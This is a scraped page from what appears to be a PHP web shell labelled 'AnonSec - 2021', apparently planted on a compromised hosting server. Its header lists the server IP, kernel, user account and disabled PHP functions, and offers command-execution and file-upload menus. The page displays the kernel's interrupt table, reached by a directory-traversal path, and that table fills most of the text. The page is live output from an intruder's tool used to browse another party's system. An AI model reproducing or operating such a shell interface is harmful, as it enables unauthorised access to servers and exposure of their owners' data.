Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../../proc/45/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../../proc/45/../interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  1:          0          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0          0          0          0          0          0          0          9          0          1         15          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0     154679          0          0          0          0          0          0          2          0   IO-APIC  10-fasteoi   virtio4
 11:          0         40          0          0          0          0          0          0      25182          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0          0         15          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio3-config
 25:          0          0          0          0          0          0         15          0          0         13          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio3-virtqueues
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio2-config
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio2-control
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio1-config
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio2-event
 30:     168863     139183      93579     297636     144486     373445     110410     147991     212588     145397     321897     273710     345074      38030     446432      84780  PCI-MSIX-0000:00:03.0   1-edge      virtio1-input.0
 31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   21751160  PCI-MSIX-0000:00:04.0   3-edge      virtio2-request
 32:     510223     393445     183705     853130     170383     933226     175382     251448     516880     421157     706364     419275     486507      44194     746884     261215  PCI-MSIX-0000:00:03.0   2-edge      virtio1-output.0
 33:      62989    1409058     163970     652229     232000    1032565     337657     290118     569569     306689     662209     445749     680606     160040     816774     141390  PCI-MSIX-0000:00:03.0   3-edge      virtio1-input.1
 34:     231243    6050761     152125    1556435     577845    2565271    1500323     490475     956087    1019697    1304314     656631    1577357     225265    1669246     191146  PCI-MSIX-0000:00:03.0   4-edge      virtio1-output.1
 35:     158244     184142     248660     333781     113942     499818     210029     191111     299285     202250     366569     263575     396545      80364     406136     133040  PCI-MSIX-0000:00:03.0   5-edge      virtio1-input.2
 36:     179458     443392    1229967     801717     351963    1025094     275470     761897     906035     418847     866798     935427     924512      87797    1028350     305841  PCI-MSIX-0000:00:03.0   6-edge      virtio1-output.2
 37:     289364     777614     205328    3800617     302345    1679890     291243     370923     702100     462539     760126     555489    1098322     464115    1371511     164818  PCI-MSIX-0000:00:03.0   7-edge      virtio1-input.3
 38:    2060267    1053051     290740   14557871    1026634    2776308     901515     631084    1035509     641971    1648660    1023445    1188350     426213    2190350     699793  PCI-MSIX-0000:00:03.0   8-edge      virtio1-output.3
 39:     165689     202805     250579     348055     427236     440527     173899     197171     281432     189917     334777     255959     378802      76819     391957     127400  PCI-MSIX-0000:00:03.0   9-edge      virtio1-input.4
 40:      57037     639891     126329     984973    2482505    1194897     798271     771171     582263     514998     736807     485321     784565     146504     917996     205669  PCI-MSIX-0000:00:03.0  10-edge      virtio1-output.4
 41:     162250    1022214     485570    2259019     346164    6245579     397391     531390     647608     439510     991508     643963     953166     233236    1698673     111712  PCI-MSIX-0000:00:03.0  11-edge      virtio1-input.5
 42:    1492315    2072117     329760    4245861     868672   21037878     639884     387850    1023646    1133336    1567201     767165    1782015     176895    2649083     233409  PCI-MSIX-0000:00:03.0  12-edge      virtio1-output.5
 43:          0    8466016          0   26739618          0   43225871       1149          0    9337690   18751597          0          0    3044506          0   38977160   87313527  PCI-MSIX-0000:00:03.0  13-edge      virtio1-input.6
 44:     192101     580339     215856    1068782    1700735    1238595    1759104     383076     690341     479248     872602     711960     796104     131269    1236073     275200  PCI-MSIX-0000:00:03.0  14-edge      virtio1-output.6
 45:     131255     229254      89994     393892     138263     576154     185974     581657     363159     237546     502141     283314     440380     113197     531999     164294  PCI-MSIX-0000:00:03.0  15-edge      virtio1-input.7
 46:     391231     615399     224542    1006469     270345    1230415     716313    1554232     854302     450778     760489     627600     961120     137082    1053465     447687  PCI-MSIX-0000:00:03.0  16-edge      virtio1-output.7
 47:     169733     409025     194423     594531     241184     825743     257708     389484    1759091     388984     583087     369683     579664     172069     698853     160354  PCI-MSIX-0000:00:03.0  17-edge      virtio1-input.8
 48:     310000     830814    1279512    1283832     317196    1594663     596824     614083    4581909     646295     920117     645015    1501879     261434    1449845     569729  PCI-MSIX-0000:00:03.0  18-edge      virtio1-output.8
 49:     130835     240283      95689     406138     251548     612325     225970     212029     360149     855532     470041     289776     510823      93215     526875     160672  PCI-MSIX-0000:00:03.0  19-edge      virtio1-input.9
 50:     812184     671691     314515     882051     485141    1351439     454727     552182     839223    1636832     915641     616983     931884     237967    1037514     458305  PCI-MSIX-0000:00:03.0  20-edge      virtio1-output.9
 51:     229091     461308     325375     742265     209466     996842     314086     381710     567957     392288    2850149     492996     707429     214050     726300     277498  PCI-MSIX-0000:00:03.0  21-edge      virtio1-input.10
 52:     692383    1245223     943226    1431706     598224    2168136     709375     548884     747370     706153    7851716     904242    1527039     121721    1690752     545829  PCI-MSIX-0000:00:03.0  22-edge      virtio1-output.10
 53:     483951     274745     144190     427974     165755     591449     296825     281434     424019     219023     494363    1041444     514780     195709     456915     147345  PCI-MSIX-0000:00:03.0  23-edge      virtio1-input.11
 54:     170495     641550     139026    1223010     570393    1475008     366855     387207     770479     647561     935166    3296620     891061     267426    1269794     514285  PCI-MSIX-0000:00:03.0  24-edge      virtio1-output.11
 55:      89478     694198     307656     894304     281234    1112660     324381     421273     632306     338190     784161     566239    2638909     184736     934589     400265  PCI-MSIX-0000:00:03.0  25-edge      virtio1-input.12
 56:       5126    1397018     134652    1777062     426912    2147024     831574    1207472    1597333     947262    1701430     881034    6189042     475388    1760613     128625  PCI-MSIX-0000:00:03.0  26-edge      virtio1-output.12
 57:      76662     130087      64442     275968      81420     344304     146993     196105     250215     137213     299938     203177     288660     372297     292175      92375  PCI-MSIX-0000:00:03.0  27-edge      virtio1-input.13
 58:     115250     201078     119670     443613     237326     423487     267211     257093     410875     328988     456114     346253     430217    2529154     436979     218830  PCI-MSIX-0000:00:03.0  28-edge      virtio1-output.13
 59:     648467     731076     489949    1130243     288288    1339343     340295     611701     865911     441898     850158     568499     838738     194430    4095725     276009  PCI-MSIX-0000:00:03.0  29-edge      virtio1-input.14
 60:     305082    1761687     172085    2486597     746126    2747242    1593920     982387    1008788     914616    1445924     660404    1566651     286612   15041756     561204  PCI-MSIX-0000:00:03.0  30-edge      virtio1-output.14
 61:      66972     213958      87350     360746     152737     477481     216812     145780     300912     173654     398135     328537     388214     189836     419352     387293  PCI-MSIX-0000:00:03.0  31-edge      virtio1-input.15
 62:     183309     396651     203258     641976     343975     767581     304010     245791     512992     473350     550768     475082     607220     737171     857108     998071  PCI-MSIX-0000:00:03.0  32-edge      virtio1-output.15
 63:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      virtio0-config
 64:     850723     117946     651466     139332     487749     132181     495635     308737     441631     228611     363241     254238     266336    2696062     186934     247506  PCI-MSIX-0000:00:02.0   1-edge      virtio0-control
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   90650906  195193060  136386110  208238243  112770615  250280678  111997818   97970384  131925320  156619041   96914744   99501401  209551017   87794440  228211161  352017288   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:      30140      44028      27496      81642      26761     131900      31175      35241      55740      40686      68411      49133      58143      16192      88735      35631   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    1633235    1994630    1956116    1762321    1797148    1606651    1720060    1678399    1595384    1588785    1563729    1526844    1507270    1574495    1521913    1526693   Rescheduling interrupts
CAL:   82327562   92357781   75571559   60906403   57703825   52884267   52156954   50345393   50994553   49541838   47373342   48487562   55504946   48593177   47843765   48284743   Function call interrupts
TLB:    2518992    2808250    2750408    2712731    2700726    2662717    2683995    2615833    2621306    2567342    2564364    2540731    2517632    2509681    2474584    2513494   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721       4721   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

AnonSec - 2021